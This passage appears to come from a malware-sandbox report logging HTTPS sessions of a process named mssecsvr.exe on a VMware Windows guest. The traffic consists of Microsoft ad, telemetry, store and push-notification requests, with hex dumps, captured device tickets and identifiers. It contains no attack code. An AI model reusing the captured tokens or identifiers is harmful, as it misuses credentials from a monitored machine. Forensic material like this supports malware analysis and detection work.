46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 11:25:00 UTC	7976	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.7	51306	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:00 UTC	7980	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=310091&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&ctry=US&time=20220720T202459Z&lc=en-US&pl=en-US&idtp=mid&uid=d9fcfe42-b5d5-4629-ac66-c2605ea824c4&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=5e5d5147a5d347c7863f26c65c55cfd7&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1611378&metered=false&nettype=ethernet&npid=sc-310091&oemName=tfikfe%2C%20Inc.&oemid=tfikfe%2C%20Inc.&ossku=Professional&rver=2&smBiosDm=tfikfe7%2C1&tl=2&tsu=1611378&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1 Accept-Encoding: gzip, deflate X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32220&sc=6 X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAfdA1xk8TwlI2MCPPrHztgczXy73+7qm8bqjx/Fnq99aLKuaD++BXz9m28mjOcm06bCgb5X+lXu66UdwbU0BfYQ+hxUvbqMxrJfe1ER0c1amazdvK9Nh2jIwqBH+QvudNEaBhLzfS8t0vZxJAPLKUJVusDlJ6tcwAWQQWJ30M2pLEgjytmteAdaXkkNRV5tSQsFjmvBVVC3X6xb45dL4JG1hp+Vu8DOA4ku7E1DMMd1+x44ZrqrJFz4cnrwa9stLZo9Ar1mLzhxJqRmYaB5tb72kxU1aoSu29gRNjmDKHYT9TEhkW4+WBl0pREFyUUBV56UXzfydOV4oM/zuiHG2kJADZgAACA7TdZOVwXS4qAEHnsOxASwVdijDjsH7aRL+a+CPfRMgVzbxa8JH0HjMwtwsYp+bj12s2WK2iZJ4I9q8DlJY9AmvZhKLld0TeJVl+pHFwpxuKFct5jCePZcITBD2/DpdZbU10LzyfWA2NDb296g+Hwd6kfyZ5eLmjwkz0uM51s75lBupNxLhkTP/TP+5W7OaugADwmCvwui8mNWrlhRw1UR3spAxIH05CFTb2P9m8F2HgQTRo72rN5vy6LSWuFiyjgwD/xHrOTEoizkFp1p0PgMkry3JVqoWqxnQHmFNScJf7VMe8ezfUB17si/OeVwJYcbfN3FdWNI8+1np/NgXzpE0UZYlZ2cEGOGPno5YTb/LW3c1rmbluDfIzGWbR6H8SETWSUnjra00LixEYIeALYnGo+vvwaFnhvcWykAn76dZZLYupJZ58BXm5mhEl6dQEjAqlm64R8sixvCMyDyiYScs41UgQmMRVZybkS1qxRofQ4FuLy7TARK37nBw8prL7pGlVNImlqQHsUfWAzm1Ga+PtZ9q6ri8yIqPdy8H9cYXlUDrSmnSHpbQQSAgSTmeXkDX1gE=&p= Cache-Control: no-cache MS-CV: QKkByyXmXkeuC6BU.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: tch0,m301,m751,mA01,mT01 Host: arc.msn.com Connection: Keep-Alive
2022-07-20 11:25:00 UTC	7982	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 167 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"OPTOUTSTATE":"256"}] X-ARC-SIG: nixDnJ8JGR0PL91IW2923V9yIEDtotS4QbSGcJegSOjt2Y8pA77MVIU+OSOXN8iQfsGAqPM3tISWeMogXD0U0sTkiAFIkLEcCGspmJAy6nwileaQ1ojmZMjnWJH4+c22+E0QDLKri7jkWqihFw6gC1waf23pQldCYMekkcAtBjgw7tmf5pjGoAiwrUmTG00EApqXpVsB8c8zt7wm0iesqErKTQEVHTtn8JX0yNGYLYapJdOGPFB25Y6vlqyvAMXFYbHTnjterKNUrRJtlM461LttA/uz51OevJ+Te05uaDCEefFMpaHBkic5HRJxJbjFo/6pIm1MEYEHgvDJPHOyyg== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:24:59 GMT Connection: close
2022-07-20 11:25:00 UTC	7983	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 2c 22 72 65 66 72 65 73 68 74 69 6d 65 22 3a 22 32 30 32 32 2d 30 37 2d 32 30 54 31 35 3a 32 35 3a 30 30 22 7d 7d Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}],"refreshtime":"2022-07-20T15:25:00"}}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.7	51416	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:03 UTC	7983	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 36 61 64 31 38 64 62 32 66 62 33 61 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 8c26ad18db2fb3a1
2022-07-20 11:25:03 UTC	7983	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:25:03 UTC	7983	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 36 61 64 31 38 64 62 32 66 62 33 61 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: 8c26ad18db2fb3a1<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:25:03 UTC	7984	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 32 39 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 63 32 36 61 64 31 38 64 62 32 66 62 33 61 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 29Context: 8c26ad18db2fb3a1
2022-07-20 11:25:03 UTC	7984	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:25:03 UTC	7984	IN	Data Raw: 4d 53 2d 43 56 3a 20 33 36 79 48 72 78 38 69 4b 45 57 37 35 76 4b 48 48 34 43 31 42 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 36yHrx8iKEW75vKHH4C1BA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.7	51460	20.31.108.18	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:04 UTC	7984	OUT	POST /v3/Delivery/Events/Impression HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Content-Length: 1521 Content-Type: text/plain; charset=UTF-8 Host: arc.msn.com Connection: Keep-Alive Cache-Control: no-cache
2022-07-20 11:25:04 UTC	7984	OUT	Data Raw: 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 54 49 44 3d 37 30 30 31 32 39 37 30 32 26 43 49 44 3d 31 32 38 30 30 30 30 30 30 30 30 30 34 30 32 39 32 36 26 42 49 44 3d 38 37 38 36 31 37 38 36 35 26 50 47 3d 50 43 30 30 30 50 30 46 52 35 2e 30 30 30 30 30 30 30 49 52 54 26 54 50 49 44 3d 34 30 30 30 39 31 36 38 38 26 52 45 51 41 53 49 44 3d 31 44 44 39 43 33 44 31 39 42 30 42 34 37 44 32 42 30 41 36 41 34 37 38 42 43 36 30 44 36 33 32 26 41 53 49 44 3d 31 65 32 63 30 35 34 34 63 36 31 65 34 38 36 33 62 31 62 31 34 66 64 66 32 36 39 61 38 34 36 32 26 54 49 4d 45 3d 32 30 32 32 30 37 32 30 54 32 30 32 34 35 39 5a 26 53 4c 4f 54 3d 31 26 52 45 51 54 3d 32 30 32 32 30 37 32 30 54 31 31 32 34 32 34 26 4d 41 5f 53 63 6f 72 65 3d 32 26 50 45 52 53 49 44 3d 38 38 33 Data Ascii: PID=400091688&TID=700129702&CID=128000000000402926&BID=878617865&PG=PC000P0FR5.0000000IRT&TPID=400091688&REQASID=1DD9C3D19B0B47D2B0A6A478BC60D632&ASID=1e2c0544c61e4863b1b14fdf269a8462&TIME=20220720T202459Z&SLOT=1&REQT=20220720T112424&MA_Score=2&PERSID=883
2022-07-20 11:25:04 UTC	7986	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/xml; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Jul 2022 11:25:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.7	51492	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:05 UTC	7986	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=878617865&PG=PC000P0FR5.0000000IRT&REQASID=1DD9C3D19B0B47D2B0A6A478BC60D632&UNID=338388&ASID=1e2c0544c61e4863b1b14fdf269a8462&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=c8a14dd6b52b4123ba0f40a637af4a47&DEVOSVER=10.0.17134.1&REQT=20220720T112424&TIME=20220720T202458Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:05 UTC	7987	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 6e66dbeb-f9d0-4bf4-968b-34bd0c031c4c Date: Wed, 20 Jul 2022 11:25:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.7	49736	23.211.6.115	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:23:41 UTC	104	OUT	GET /image/apps.39478.14495311847124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.8ad1b690-ff36-44fa-8afc-0dc5bed1273c?format=source HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: store-images.s-microsoft.com Connection: Keep-Alive
2022-07-20 11:23:41 UTC	105	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=7776000, s-maxage=7776000 Content-Length: 37622 Content-Type: image/png Last-Modified: Thu, 30 Sep 2021 03:30:15 GMT Accept-Ranges: none ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk4M0MyOUU1MTM1NDQ" MS-CV: YXEQRcwIqUCuqc/O.0 Access-Control-Expose-Headers: MS-CV Date: Wed, 20 Jul 2022 11:23:41 GMT Connection: close Access-Control-Allow-Origin: *
2022-07-20 11:23:41 UTC	105	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2c 00 00 01 2c 08 02 00 00 00 f6 1f 19 22 00 00 92 bd 49 44 41 54 78 01 ec 9a 81 6e db 38 10 44 09 20 52 72 69 3e e3 92 d8 76 74 77 ff ff 75 e7 68 db 07 25 43 10 cb 2e 49 cb 85 81 01 31 5a 53 6e 52 e8 65 96 a4 d2 c3 f4 77 56 93 68 36 a9 e6 d7 ad 5f f5 f6 45 8f 5b 6f a2 6e 66 80 0e ab de 37 3a 4c 4f ef ab 0e 95 3a ae c2 33 22 8a 36 d6 eb 2e fd af de 88 a2 53 f3 45 8f 87 e9 d1 cc fb 74 d1 cf e2 db 30 f1 c0 63 50 da 50 87 31 e4 1c f8 a1 f9 6d 45 51 f0 13 35 41 ce 28 92 ca 6a 80 aa bb 8e 5b df 4e a7 e9 af 5c 05 23 e3 c6 9c 4c e8 52 b7 2f b1 4f b3 d3 0a 77 71 2f f5 ef 5f a5 33 a9 c4 a5 b0 f5 95 20 ba 3e 54 d3 65 7c 6a 0f a4 c9 7c 02 3f c0 9b 31 25 59 e8 99 ca bc 61 02 7a 7a fb 8c 2c 23 cd 08 24 c4 6c c4 Data Ascii: PNGIHDR,,"IDATxn8D Rri>vtwuh%C.I1ZSnRewVh6_E[onf7:LO:3"6.SEt0cPP1mEQ5A(j[N\#LR/Owq/_3 >Te\|j\|?1%Yazz,#$l
2022-07-20 11:23:41 UTC	121	IN	Data Raw: 9f 09 6e 39 ec 8d 6c 41 04 8c 2d f5 1d b9 88 b9 d6 9f 16 88 54 87 ed 3b 62 fb 0e 8e cc 43 c9 e0 f6 4e 55 91 0f 4c a7 48 31 8c 02 45 d8 ae a2 a8 ca 09 20 81 a5 90 0e 42 d9 4e 42 e9 8a 44 b3 b7 3a 7c f2 4a ab b1 56 d3 75 92 3c a2 e3 ed 32 48 2e 01 a1 08 bd f8 30 f6 2c 10 c8 ea 59 09 36 17 a8 d3 ae fd d8 ed 2e 75 04 be 99 ad 61 83 26 fd 92 96 6e a7 c8 41 f2 7f cd 83 d2 0f c4 89 6f d9 38 95 3d 15 42 f2 8e b2 94 6c a6 2d 8b a1 fb fc e6 2c df 52 b5 6f 64 87 c5 80 2b 37 ee 7b 77 0b 43 bb f4 9f 8d 91 af fc d8 75 e0 2c 83 27 5b 99 38 4a 90 f4 19 b1 90 fe 84 2b eb df db d1 2f ef df 8d 1d 64 e4 94 55 ec 20 69 b3 06 e2 5a c7 57 7e 2c 5c b5 07 07 84 a5 a5 23 93 49 17 03 28 5b f0 96 6f 90 c1 73 2e d7 a0 6b 81 6a 6d 25 3f 16 e2 71 60 6d f4 55 35 8c 24 7a 21 bb aa 7b ee Data Ascii: n9lA-T;bCNULH1E BNBD:\|JVu<2H.0,Y6.ua&nAo8=Bl-,Rod+7{wCu,'[8J+/dU iZW~,\#I([os.kjm%?q`mU5$z!{
2022-07-20 11:23:41 UTC	129	IN	Data Raw: d9 34 35 ea 0e 87 2a 84 d9 dd e9 a7 04 66 d1 e4 c4 ef 3c 7b 29 7e be 40 37 81 53 39 67 f2 6a 9b a4 c9 9e f7 3a ee 01 78 f8 14 43 02 3b f1 cb 0a 9b d5 16 3d 6d 1c ab 11 91 37 0f 89 dd b3 1d 30 13 fe 6c ac ed 08 e0 58 0f 7b f2 9b da c7 f6 fc ed 1f 48 83 e5 6f 37 d2 53 17 6b b9 4f f2 d3 c4 87 8b 19 44 e4 90 04 52 ef e4 da f1 4d ad 6d c9 bd 73 e9 3f ea 11 9f 11 3c 6a 28 32 f8 05 0d d6 74 bf 70 b1 41 16 d9 a3 3a e7 74 23 0b 62 d3 38 26 f5 95 9d 25 ab c0 c0 0c 41 51 ea 2b 9c ac 0f 9e 5a dc a6 71 b3 d4 2f 02 c6 71 7b ae 34 8e 21 a2 59 37 b7 a3 43 dc c4 b8 aa 2e 73 a3 07 36 8f 4e ff f8 e7 bf a7 e6 59 54 4f 08 e2 26 29 18 44 53 4c e6 22 65 32 a2 b1 c4 fa b9 c7 1d 82 d2 79 3f 4a 56 3b 82 9b b0 c8 61 8c 62 bd a3 a0 b5 c4 19 7d 0f 32 eb 7e de f7 ee 8e 39 a5 e4 9f 66 Data Ascii: 45*f<{)~@7S9gj:xC;=m70lX{Ho7SkODRMms?<j(2tpA:t#b8&%AQ+Zq/q{4!Y7C.s6NYTO&)DSL"e2y?JV;ab}2~9f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
110	192.168.2.7	51498	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:05 UTC	7987	OUT	GET /v1/a/impression?CID=128000000000402926&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&EID=&&PID=400091688&UIT=P-&TargetID=700129702&AN=878617865&PG=PC000P0FR5.0000000IRT&REQASID=1DD9C3D19B0B47D2B0A6A478BC60D632&UNID=338388&ASID=1e2c0544c61e4863b1b14fdf269a8462&PERSID=88305807A2768DE26F73AECC68922342&GLOBALDEVICEID=6825795052795239&LOCALID=w:EE4890C5-90AE-59E2-5AC5-C20AA6654592&DS_EVTID=c8a14dd6b52b4123ba0f40a637af4a47&DEVOSVER=10.0.17134.1&REQT=20220720T112424&TIME=20220720T202500Z&ARCRAS=&CLR=CDM HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:05 UTC	7988	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d457d923-b870-4c2d-9836-9c34d09004e8 Date: Wed, 20 Jul 2022 11:25:05 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
111	192.168.2.7	51847	20.199.120.182	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:15 UTC	7988	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 31 34 30 64 32 32 36 36 35 63 31 31 63 32 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: d9140d22665c11c2
2022-07-20 11:25:15 UTC	7988	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 11:25:15 UTC	7988	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 31 34 30 64 32 32 36 36 35 63 31 31 63 32 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 59 6d 77 33 5a 4b 41 4c 45 70 53 2f 30 70 30 73 78 2b 39 62 59 72 6d 30 56 72 4f 63 30 43 6c 78 59 7a 49 66 69 4d 78 36 6d 67 58 31 39 79 41 4b 31 58 49 5a 39 4d 65 66 6a 6b 37 33 42 78 64 79 35 5a 35 66 79 6b 66 56 41 47 4b 37 56 79 59 34 50 69 33 64 2f 70 6c 4d 55 51 4b 4e 51 63 55 38 6d 68 30 74 30 38 48 4a 2f 56 77 61 63 62 65 42 44 47 55 6f 35 54 68 76 45 68 47 73 32 4d 4c 61 68 6e 6a 67 34 34 4b 55 Data Ascii: ATH 2 CON\DEVICE 1014Context: d9140d22665c11c2<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAYmw3ZKALEpS/0p0sx+9bYrm0VrOc0ClxYzIfiMx6mgX19yAK1XIZ9Mefjk73Bxdy5Z5fykfVAGK7VyY4Pi3d/plMUQKNQcU8mh0t08HJ/VwacbeBDGUo5ThvEhGs2MLahnjg44KU
2022-07-20 11:25:15 UTC	7989	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 39 31 34 30 64 32 32 36 36 35 63 31 31 63 32 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: d9140d22665c11c2<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 11:25:15 UTC	7989	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 11:25:15 UTC	7989	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 6b 33 67 2f 35 38 67 52 30 43 44 6c 6e 6a 68 63 78 65 45 35 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: Ak3g/58gR0CDlnjhcxeE5g.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
112	192.168.2.7	52027	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 11:25:21 UTC	7990	OUT	GET /v1/a/pin?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106554&cid=128000000001392709&tid=700342084&reqasid=66488fd57dac474da78731dda63692ec&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NMPJ99VJBWV&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=1caaf4d619b544a9b17e045f5f8ff054&time=20220720T202459Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 11:25:22 UTC	7990	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 672e4ece-ba14-4a95-ad27-da5c742d234a Date: Wed, 20 Jul 2022 11:25:21 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
113	192.168.2.7	52068	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
